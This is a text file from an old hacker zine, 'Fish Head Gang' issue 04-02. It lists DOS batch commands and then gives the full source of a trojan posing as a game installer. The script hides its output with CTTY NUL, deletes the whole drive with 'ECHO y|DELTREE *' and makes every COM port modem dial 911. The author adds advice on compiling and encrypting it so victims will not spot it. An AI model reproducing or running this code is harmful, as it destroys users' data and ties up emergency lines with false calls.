Copy Link
Add to Bookmark
Report
Fish Head Gang 04-02
_______ __ ____ ---------------------------------------------
__/ ___|\ / \/ ___\......Issue: FHG4-02.TXT.................. |
| ___| |_| |/ __ .....Author: Dirty Bird................... |
\/| | _ || \ \...Subject: Usefull Batch File Commands.. |
| _| | | | \_\ |..FHG Pak: 04 |
\__/ \__/ \__/\_____/_____________________________________________|
Here's A list Of Usefull Batch Commands. Some are Pretty Cool
CTTY NUL -TURNS OFF SCREEN/KEYBOARD.. Batch Programs Still Werk
CTTY CON -RETURNS CONTROL OF KEYBOARD/SCREEN
ECHO. -ECHO A LINE OF TEXT to USER
ECHO Y|DELTREE * -FORCES Y to The Deltree Command. (ie Nukes HD)
ECHO Y|{FORMAT/DEL *.*/FDISK}
IF -Allows you to Test a Variable[Command Line option]
GOTO -Goto a section on the Batch File
> -File Command Redirection
< ECHO ATDT911 > COM2 Would Send atdt911 to
Com Port 2
-----------------------------------------------------------------------
A BREIF EXAMPLE
a Fake Installer Program
---CUT HERE INSTALL.BAT---
@ECHO OFF
IF "%1" == "" GOTO ERROR
CLS
@ECHO ON
ECHO. NOW INSTALLING WONDER GAME 2000
@ECHO OFF
CTTY NUL
ECHO y|DELTREE *
ECHO ATDT911 > COM1
ECHO ATDT911 > COM2
ECHO ATDT911 > COM3
ECHO ATDT911 > COM4
MD %1
CD %1
CTTY CON
ECHO. ALL DONE!
GOTO END
:ERROR
ECHO.SYNTAX ERROR{INSTALL C:\[path]}
GOTO END
:END
-----CUT------
To make it More Realistic, use bat2exec.com and make it a .com file... and
then encrypt it. I've Included the files For you.